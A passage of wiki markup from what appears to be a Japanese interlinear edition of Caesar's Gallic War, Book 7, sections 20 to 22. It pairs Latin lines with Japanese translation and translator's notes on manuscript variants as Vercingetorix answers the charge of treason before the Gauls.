*quod cum omni [[wikt:en:equitatus#Noun|equitatu]] [[wikt:en:discessisset#Latin|discessisset]], 
**全[[w:騎兵|騎兵隊]]とともに&lt;small&gt;（陣営を）&lt;/small&gt;離れていたこと、
*quod sine [[wikt:en:imperium#Latin|imperio]] [[wikt:en:tantus#Latin|tantas]] [[wikt:en:copiae#Latin|copias]] [[wikt:en:reliquisset#Latin|reliquisset]], 
**司令権&lt;small&gt;（を持つ者）&lt;/small&gt;なしに、これほど多くの軍勢を置き去りにしていたこと、
*quod eius [[wikt:en:discessus#Noun|discessu]] [[wikt:en:Romani#Latin|Romani]] [[wikt:en:tantus#Latin|tanta]] [[wikt:en:opportunitas#Latin|opportunitate]] et [[wikt:en:celeritas#Latin|celeritate]] [[wikt:en:venissent#Latin|venissent]]; 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の退去によりローマ人がこれほどの好機とこれほどの迅速さでやって来ていたこと、である。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; non haec omnia [[wikt:en:fortuito#Latin|fortuito]] aut sine [[wikt:en:consilium#Latin|consilio]] [[wikt:en:accido#Etymology_1|accidere]] [[wikt:en:potuisse#Latin|potuisse]]; 
**──これらすべてが偶然に、あるいは謀りごとなしに起こることはあり得なかったのだ。
*[[wikt:en:regnum#Latin|regnum]] illum Galliae &lt;u&gt;malle&lt;/u&gt; Caesaris [[wikt:en:concessus#Noun|concessu]] &lt;u&gt;quam&lt;/u&gt; ipsorum habere [[wikt:en:beneficium#Latin|beneficio]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は&lt;small&gt;（ガッリア人）&lt;/small&gt;自身の厚遇を得ることよりもむしろカエサルの許しにより[[w:ガリア|ガッリア]]の王権&lt;small&gt;（を持つこと）&lt;/small&gt;を好んでいるのだ。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:malle#Latin|malle]] ～ quam …「…よりも、むしろ～を好む（選ぶ）」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ウェルキンゲトリークスが王権を望むあまり、同盟部族の生命をカエサルに売り渡したということである。）&lt;/span&gt;
[[画像:Vercingetorix_stater_n2_CdM_alternate.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガッリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）]]
:　
;　　　━━ウェルキンゲトリークスの弁明が始まる━━
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:talis#Latin|tali]] [[wikt:en:modus#Latin|modo]] [[wikt:en:accusatus#Latin|accusatus]] 
**こんな風に非難されて、
*ad haec [[wikt:en:respondit#Latin|respondit]]: 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;これらのことへ答えた。
*Quod [[wikt:en:castra#Latin|castra]] [[wikt:en:movisset#Latin|movisset]], 
**陣営を移動させていたことは、
*[[wikt:en:factus#Latin|factum]] [[wikt:en:inopia#Latin|inopia]] [[wikt:en:pabulum#Latin|pabuli]], 
**[[w:糧秣|糧秣]]の欠乏によりなされたのであり、
*etiam ipsis [[wikt:en:hortans#Latin|hortantibus]]; 
**&lt;small&gt;（ガッリア人たち）&lt;/small&gt;自身が熱心に勧めることさえしているのだ。
*quod [[wikt:en:propius#Latin|propius]] [[wikt:en:Romani#Latin|Romanos]] [[wikt:en:accessisset#Latin|accessisset]], 
**ローマ人たちのより近くに近寄っていたことは、
*[[wikt:en:persuasus#Latin|persuasum]] loci [[wikt:en:opportunitas#Latin|opportunitate]], qui se &lt;u&gt;ipsum&lt;/u&gt; [[wikt:en:munitio#Latin|munitione]] [[wikt:en:defenderet#Latin|defenderet]]; 
**&lt;small&gt;（移動先の丘陵が）&lt;/small&gt;それ自体を&lt;small&gt;（沼地という天然の）&lt;/small&gt;要害により守っているという地の利に納得させられたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上記の se &lt;u&gt;ipsum&lt;/u&gt; munitione defenderet 「そのものを防御物によって守る」は主要写本 &amp;omega; の記述で、&lt;br&gt;''[[ガリア戦記/注解編/写本と校訂版#Bentley,_Thomas|Th. Bentley]]'' は se &lt;u&gt;ipse sine&lt;/u&gt; munitione defenderet 「そのものが防御物なしで守る」と修正提案している。）&lt;/span&gt;
:　
;　　　騎兵は、湿地帯での任務に適していない
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:eques#Latin|equitum]] vero [[wikt:en:opera#Latin|operam]] 
**騎兵たちの働きはまさに、
*neque in loco [[wikt:en:paluster#Latin|palustri]] [[wikt:en:desiderari#Latin|desiderari]] [[wikt:en:debuisse#Latin|debuisse]] 
**沼沢地において望まれるべきものではなかったし、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：湿地・沼地では、ぬかるみに馬の足が取られるため、&lt;br&gt;　　　　騎兵の長所である機動力が著しく低下し、&lt;br&gt;　　　　速さを活かした偵察・突撃・迂回・追撃などがし難くなる。）&lt;/span&gt;
*et [[wikt:en:illic#Adverb|illic]] fuisse [[wikt:en:utilis#Latin|utilem]], quo sint [[wikt:en:profectus#Participle_2|profecti]]. 
**&lt;small&gt;（騎兵たちが）&lt;/small&gt;発って行ったところにおいては有効だったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#16節|16節]]冒頭の説明によれば、&lt;br&gt;　　　　ウェルキンゲトリークスが最初に宿営した場所は、&lt;br&gt;　　　　アウァーリクムから16マイル離れ、沼地や森林に守られていた。&lt;br&gt;　　　　[[#19節|19節]]では、より近い、沼地に囲まれたゆるやかな丘陵に移動したという。&lt;br&gt;　　　　この移動前後の地勢の優劣を、カエサルは必ずしも明瞭に説明していない。）&lt;/span&gt;
:　
;　　　兵は拙速を尊ぶ
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:summa#Latin|Summam]] [[wikt:en:imperium#Latin|imperii]] 
**&lt;small&gt;（軍勢の）&lt;/small&gt;最高司令権は、
*se [[wikt:en:consulto#Adverb|consulto]] [[wikt:en:nullus#Latin|nulli]] [[wikt:en:discedens#Latin|discedentem]] [[wikt:en:tradidisse#Latin|tradidisse]], 
**&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自らが意図的に、立ち去るに当たって、誰にも委託しなかった。
*[[wikt:en:ne#Latin|ne]] is [[wikt:en:multitudo#Latin|multitudinis]] [[wikt:en:studium#Latin|studio]] ad [[wikt:en:dimicandus#Latin|dimicandum]] [[wikt:en:impelleretur#Latin|impelleretur]]; 
**その者が大勢の熱意によって&lt;small&gt;（ローマ人と）&lt;/small&gt;闘うことに駆り立てられないように、である。
*cui rei &lt;u&gt;propter animi [[wikt:en:mollities#Latin|mollitiem]]&lt;/u&gt; [[wikt:en:studere#Latin|studere]] omnes [[wikt:en:videret#Latin|videret]], 
**その事&lt;small&gt;〔闘って決着を付けること〕&lt;/small&gt;を、&lt;u&gt;心の柔弱さのゆえに&lt;/u&gt;、皆が求めたがっている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「心の柔弱さのゆえに、闘いがしたくなる」というのは、&lt;br&gt;　　　　一見すると奇妙に感じられるが、ここでの柔弱さ（[[wikt:en:mollities#Latin|mollities]]）とは、&lt;br&gt;　　　　長期の攻囲戦の労苦や疲弊に持ちこたえる忍耐力のなさを指し、&lt;br&gt;　　　　長い苦難から逃避するために早期決戦を志向する心理を意味すると考えられる。）&lt;/span&gt;
*quod [[wikt:en:diutius#Latin|diutius]] [[wikt:en:labor#Latin|laborem]] ferre non [[wikt:en:possent#Latin|possent]]. 
**──というのは、&lt;small&gt;（兵は）&lt;/small&gt;より長く&lt;small&gt;（攻囲戦の）&lt;/small&gt;労苦に耐えることができないからだ──。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：[[w:孫子 (書物)|孫子]]に曰く「兵は拙速を聞くも、未だ巧の久しきを&lt;ruby&gt;&lt;rb&gt;睹&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;み&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ざるなり」&lt;ref&gt;[[wikt:en:故に兵は拙速を聞くも、未だ巧の久しきを睹ざるなり|故に兵は拙速を聞くも、未だ巧の久しきを睹ざるなり]]
「戦争というものは、拙劣に短期決戦を挑んだ事例は聞くが、巧妙に長期戦を続けた事例は聞かない」の意。長い戦争は人々を消耗させ、疲弊させてしまう。&lt;/ref&gt;）&lt;/span&gt;
:　
;　　　ローマ人は、闘わずに退却したではないか
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Romani si [[wikt:en:casu#Latin|casu]] [[wikt:en:intervenerint#Latin|intervenerint]], [[wikt:en:fortuna#Latin|fortunae]], 
**もしローマ人たちが偶然に現われたのならば、命運に&lt;small&gt;（感謝するべきであり）&lt;/small&gt;、
*si [[wikt:en:alicuius#Latin|alicuius]] [[wikt:en:indicium#Latin|indicio]] [[wikt:en:vocatus#Latin|vocati]], huic [[wikt:en:habendus#Latin|habendam]] [[wikt:en:gratia#Latin|gratiam]], 
**もし&lt;small&gt;（ローマ人たちが）&lt;/small&gt;何者かの申し立てに呼ばれて来たのならば、その者に感謝するべきだ。
*quod &lt;u&gt;et&lt;/u&gt; [[wikt:en:paucitas#Latin|paucitatem]] eorum ex loco [[wikt:en:superior#Latin|superiore]] [[wikt:en:cognosco#Latin|cognoscere]] 
**──というのは、より高い位置から彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;の少なさを知ることも、
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:virtus#Latin|virtutem]] [[wikt:en:despicio#Latin|despicere]] [[wikt:en:potuerint#Latin|potuerint]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;武勇とやらを見下すこともできたのだから。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～ et …「～も…も」）&lt;/span&gt;
*qui [[wikt:en:dimico#Latin|dimicare]] non [[wikt:en:ausus#Participle|ausi]] 
**彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;は闘うことをあえてせずに、
*[[wikt:en:turpiter#Latin|turpiter]] se in castra [[wikt:en:receperint#Latin|receperint]]. 
**見苦しくも陣営に退却したのだ──。
:　
;　　　ガッリア人が勝つのだから、カエサルに寝返るはずがない
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:imperium#Latin|Imperium]] se &lt;u&gt;ab&lt;/u&gt; Caesare per [[wikt:en:proditio#Latin|proditionem]] [[wikt:en:nullus#Latin|nullum]] [[wikt:en:desidero#Latin|desiderare]], 
**自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、カエサルから裏切りを通じて、どのような司令権も望んではいない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上の (2) 項では、味方のガッリア人たちは、ウェルキンゲトリークスが&lt;br&gt;　　　　カエサルにより [[wikt:en:regnum#Latin|regnum]]（王権、支配権）を得ようとしていると非難したのに対し、&lt;br&gt;　　　　彼は [[wikt:en:imperium#Latin|imperium]]（軍隊司令権、または支配権）という言葉を巧妙に引きずって答えている。&lt;br&gt;　　　　もちろん、言葉を変えたのは、筆者カエサル自身であろう。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab は&amp;alpha;系写本の記述で、&amp;beta;系写本では a となっている。）&lt;/span&gt;
*quod habere [[wikt:en:victoria#Latin|victoria]] [[wikt:en:posset#Latin|posset]],
**&lt;small&gt;（支配権は、ローマ人に対する）&lt;/small&gt;勝利によって得られるものであり、
*quae iam esset sibi atque omnibus [[wikt:en:Galli#Latin|Gallis]] [[wikt:en:exploratus#Latin|explorata]]; 
**&lt;small&gt;（勝利は）&lt;/small&gt;もはや自分とすべてのガッリア人にとって確実なものとされているのだ。
*quin etiam ipsis &lt;u&gt;remittere&lt;/u&gt;, 
**いやそればかりか&lt;small&gt;（以下の様であれば、ガッリア人たち）&lt;/small&gt;自身に&lt;small&gt;（司令官職を）&lt;/small&gt;返還しているだろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:remitto#Latin|remittere]] は、写本Sの記述および&amp;nbsp;''[[ガリア戦記/注解編/写本と校訂版#Stephanus_(Estienne)|Stephanus]]'' や ''[[ガリア戦記/注解編/写本と校訂版#Vascosanus|Vascosanus]]'' による修正提案で、&lt;br&gt;　　　　　　　　　&amp;beta;系・&amp;chi;系写本･写本B･M･L･N では [[wikt:en:remitteret#Latin|remitteret]] となっている。）&lt;/span&gt;
*si sibi &lt;u&gt;magis&lt;/u&gt; [[wikt:en:honor#Latin|honorem]] [[wikt:en:tribuo#Latin|tribuere]], &lt;u&gt;quam&lt;/u&gt; ab se [[wikt:en:salus#Latin|salutem]] [[wikt:en:accipio#Latin|accipere]] [[wikt:en:videantur#Latin|videantur]]. 
**もし&lt;small&gt;（ガッリア人が）&lt;/small&gt;自分から安全を受け取っているよりも、むしろ顕職を自分に授けていると思っているのならば、だが。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:magis#Latin|magis]] ～, quam …「…というよりは、むしろ～」）&lt;/span&gt;
:　
;　　　捕虜のローマ人たちに訊いてみなさい
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;Haec ut [[wikt:en:intellegatis#Latin|intellegatis]], &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:inquit#Latin|inquit]], &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;a me [[wikt:en:sincere#Latin|sincere]] [[wikt:en:pronuntiari#Latin|pronuntiari]], [[wikt:en:audite#Latin|audite]] [[wikt:en:Romanus#Adjective|Romanos]] [[wikt:en:miles#Latin|milites]]. &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt;
**「これらは諸君が理解しているように、私により率直に示された。ローマ兵たちに聞いてみよ」と言った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;　～　&lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; の箇所は、直接話法で記されている。）&lt;/span&gt;
:　
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; [[wikt:en:producit#Latin|Producit]] [[wikt:en:servus#Latin|servos]], quos in [[wikt:en:pabulatio#Latin|pabulatione]] paucis ante diebus [[wikt:en:exceperat#Latin|exceperat]] et [[wikt:en:fames#Latin|fame]] [[wikt:en:vinculum#Latin|vinculis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:excruciaverat#Latin|excruciaverat]]. 
**数日前に糧秣徴発しているのを&lt;small&gt;（彼が）&lt;/small&gt;ひっ捕らえて、飢えと鎖で拷問していたところの奴隷たちを引き出す。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:calo#Noun_5|cālō]] カーロー（軍属奴隷）と呼ばれる輜重や陣営を管理する奴隷たちのことであろう。）&lt;/span&gt;
:　
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Hi iam ante [[wikt:en:edoctus#Latin|edocti]], quae [[wikt:en:interrogatus#Latin|interrogati]] [[wikt:en:pronuntiarent#Latin|pronuntiarent]], 
**彼ら&lt;small&gt;〔奴隷〕&lt;/small&gt;は、すでに前もって&lt;small&gt;（ガッリア勢から）&lt;/small&gt;訊問された際に語ることを&lt;small&gt;（ローマ人から）&lt;/small&gt;教え込まれており、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは奴隷たちが誰に教え込まれたのか明記していないため、&lt;br&gt;　　　　ウェルキンゲトリークスに教え込まれたと訳している場合もある。）&lt;/span&gt;
*[[wikt:en:miles#Latin|milites]] se esse [[wikt:en:legionarius#Latin|legionarios]] [[wikt:en:dicunt#Latin|dicunt]]; 
**自分たちは[[w:軍団兵|軍団兵]]であると言った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：糧秣徴発に出かけていた者は、たとえ軍団兵でも軽装であったであろうが、&lt;br&gt;　　　　奴隷たちは、もともと戦争で捕虜になったガッリア人たち等であったと考えられるので、&lt;br&gt;　　　　地中海人種のローマ人とは容易に見分けが付きそうなものではある。）&lt;/span&gt;
*[[wikt:en:fames#Latin|fame]] &lt;u&gt;et&lt;/u&gt; [[wikt:en:inopia#Noun_2|inopia]] [[wikt:en:adductus#Latin|adductos]] [[wikt:en:clam#Latin|clam]] ex castris [[wikt:en:exisse#Latin|exisse]], si [[wikt:en:aliquis#Latin|quid]] [[wikt:en:frumentum#Latin|frumenti]] aut [[wikt:en:pecus#Latin|pecoris]] in agris [[wikt:en:reperio#Latin|reperire]] [[wikt:en:possent#Latin|possent]]; 
**&lt;small&gt;（奴隷たち曰く）&lt;/small&gt;飢えと欠乏に動かされて、何か穀物または家畜が野に見出せないかと、ひそかに陣営から抜け出した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et は&amp;alpha;系写本の記述で、&amp;beta;系写本では atque となっている。）&lt;/span&gt;
:　
*&lt;!--⓫--&gt;&lt;sup&gt;(11)&lt;/sup&gt; [[wikt:en:similis#Latin|simili]] omnem [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:inopia#Noun_2|inopia]] [[wikt:en:premi#Latin|premi]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;全軍隊が同様の欠乏に悩まされて、
*&lt;u&gt;nec&lt;/u&gt; iam [[wikt:en:vis#Latin|vires]] [[wikt:en:sufficio#Latin|sufficere]] [[wikt:en:quisquam#Latin|cuiusquam]] &lt;u&gt;nec&lt;/u&gt; ferre [[wikt:en:opus#Latin|operis]] [[wikt:en:labor#Latin|laborem]] posse; 
**もはや&lt;small&gt;（兵士の）&lt;/small&gt;誰もが十分な能力がなく、&lt;small&gt;（城攻めの）&lt;/small&gt;作業の労苦に耐えることができない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：nec ～ nec …「～でもなく、…でもない」）&lt;/span&gt;
*itaque [[wikt:en:statuisse#Latin|statuisse]] [[wikt:en:imperator#Latin|imperatorem]], si [[wikt:en:nihil#Latin|nihil]] in [[wikt:en:oppugnatio#Latin|oppugnatione]] oppidi &lt;u&gt;profecissent&lt;/u&gt;, [[wikt:en:triduum#Latin|triduo]] [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:deduco#Latin|deducere]]. 
**こうして将軍&lt;small&gt;〔カエサル〕&lt;/small&gt;は、もし城塞都市の攻略において何ら得られないならば、3日間で軍隊を連れ帰ると決めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本S･L･Nでは [[wikt:en:profecissent#Latin|profecissent]]&lt;sub&gt;&amp;nbsp;(3人称･&lt;u&gt;複数&lt;/u&gt;･過去完了･接続法)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:profecisset#Latin|profecisset]]&lt;sub&gt;&amp;nbsp;(3人称･&lt;u&gt;単数&lt;/u&gt;･過去完了･接続法)&lt;/sub&gt; となっており、&lt;br&gt;　　　　　　　　　&amp;chi;系および写本B･Mでは proficissent という綴りになっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--⓬--&gt;&lt;sup&gt;(12)&lt;/sup&gt; &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;Haec, &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:inquit#Latin|inquit]], &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;a me, &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], 
**「これぞ」「私によって」とウェルキンゲトリークスは言った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;　～　&lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; の箇所は、直接話法で記されている。）&lt;/span&gt;
*&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;[[wikt:en:beneficium#Latin|beneficia]] [[wikt:en:habetis#Latin|habetis]], quem [[wikt:en:proditio#Latin|proditionis]] [[wikt:en:insimulatis#Verb|insimulatis]]; &amp;nbsp;
**「裏切りだと諸君が糾弾している&lt;small&gt;（私という）&lt;/small&gt;者のおかげで得ているのだ。
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; cuius [[wikt:en:opera#Latin|opera]] sine [[wikt:en:vester#Latin|vestro]] [[wikt:en:sanguis#Latin|sanguine]] &amp;nbsp;
**その&lt;small&gt;（私という）&lt;/small&gt;者の尽力により、諸君らの流血なしに、
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; tantum [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:victor#Latin|victorem]] [[wikt:en:fames#Latin|fame]] &lt;u&gt;paene&lt;/u&gt; [[wikt:en:consumptus#Latin|consumptum]] [[wikt:en:videtis#Latin|videtis]]; &amp;nbsp;
**これほどの軍隊の勝利者&lt;small&gt;〔ローマ人〕&lt;/small&gt;を飢えにより、ほとんど滅ぼしたのを諸君は見ているのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：paene は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; quem [[wikt:en:turpiter#Latin|turpiter]] se ex &lt;u&gt;hac&lt;/u&gt; fuga [[wikt:en:recipiens#Latin|recipientem]] &amp;nbsp;
**彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;が見苦しくもこのような逃亡から退却したところを、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：hac は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; ne [[wikt:en:aliqua#Pronoun|qua]] [[wikt:en:civitas#Latin|civitas]] suis finibus [[wikt:en:recipiat#Latin|recipiat]], &amp;nbsp;
**&lt;small&gt;（それらの退却したローマ人を）&lt;/small&gt;どの部族も自らの領土に受け入れないように、
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; a me [[wikt:en:provisus#Latin|provisum]] est. &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt;
**私&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;により、手配された。」
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===21節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/21節]]　{{進捗|00%|2026-05-10}}&lt;/span&gt;
;ウェルキンゲトリークスの誠心とアウァーリクムの重要性を確認
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:conclamat#Latin|Conclamat]] omnis [[wikt:en:multitudo#Latin|multitudo]] 
**群集すべてが雄叫びを上げて、
*et suo [[wikt:en:mos#Latin|more]] [[wikt:en:arma#Latin|armis]] [[wikt:en:concrepat#Latin|concrepat]], 
**自分たちの慣習で武具を打ち鳴らす。
*quod facere in eo [[wikt:en:consuerunt#Verb_2|consuerunt]], cuius [[wikt:en:oratio#Latin|orationem]] [[wikt:en:adprobant#Latin|adprobant]]; 
**&lt;small&gt;（演説した）&lt;/small&gt;その者の雄弁に賛同したら、その者に対してそれをすることが常であったのだ。
*summum esse [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:dux#Latin|ducem]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は最高の将帥であり、
*&lt;u&gt;nec&lt;/u&gt; de eius [[wikt:en:fides#Latin|fide]] [[wikt:en:dubitandus#Latin|dubitandum]], 
**彼の信義については疑念を抱くべきではなく、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:nec#Latin|nec]] ～, nec …「～でもないし、…でもない」）&lt;/span&gt;
*&lt;u&gt;nec&lt;/u&gt; [[wikt:en:maior#Latin|maiore]] [[wikt:en:ratio#Latin|ratione]] bellum [[wikt:en:administrari#Latin|administrari]] posse. 
**これ以上の作戦で戦争を指導することはできない&lt;small&gt;（と、叫んで武具を打ち鳴らす）&lt;/small&gt;。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:statuunt#Latin|Statuunt]], ut decem&lt;sub&gt;&amp;nbsp;(X)&lt;/sub&gt; milia hominum [[wikt:en:delectus#Latin|delecta]] ex omnibus [[wikt:en:copiae#Latin|copiis]] in oppidum &lt;u&gt;mittantur&lt;/u&gt;,  
**&lt;small&gt;（彼らは）&lt;/small&gt;すべての軍勢から選り抜かれた兵員1万を&lt;small&gt;（アウァーリクムの）&lt;/small&gt;[[w:オッピドゥム|城塞都市]]の中に派遣すると決定する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:mittantur#Latin|mittantur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:submittantur#Latin|submittantur]] となっている。）&lt;/span&gt;
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; nec [[wikt:en:solus#Latin|solis]] [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:communis#Latin|communem]] [[wikt:en:salus#Latin|salutem]] [[wikt:en:committendus#Latin|committendam]] [[wikt:en:censent#Latin|censent]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の安全をビトゥリゲース族だけに託すべきではないと考える。
*quod &lt;u&gt;penes eos&lt;/u&gt;, si id oppidum [[wikt:en:retinuissent#Latin|retinuissent]], 
**というのは、&lt;u&gt;彼らのもとで&lt;/u&gt;、その城塞都市を維持したか否かが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　主要写本&amp;omega; では [[wikt:en:penes#Latin|penes]] eos 「彼らのもとで」だが、&lt;br&gt;　　　　オックスフォード写本 ''[[ガリア戦記/注解編/写本と校訂版#Codex_Oxoniensis_Andino|codd. Andino. Oxon.]]'' や ''[[ガリア戦記/注解編/写本と校訂版#Aldus|Aldus]]'' は paene in eo 「ほぼそのことにおいて」としている。）&lt;/span&gt;
*[[wikt:en:summa#Latin|summam]] victoriae [[wikt:en:consto#Latin|constare]] [[wikt:en:intellegebant#Latin|intellegebant]].
**勝利の天王山を確かなものにすること、を理解していたからである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===22節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/22節]]　{{進捗|00%|2026-06-01}}&lt;/span&gt;
;アウァーリクムの籠城ガッリア勢が坑道戦で攻防に努める
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:singularis#Latin|Singulari]] [[wikt:en:miles#Latin|militum]] nostrorum [[wikt:en:virtus#Latin|virtuti]] 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の兵士の卓越した武勇に、
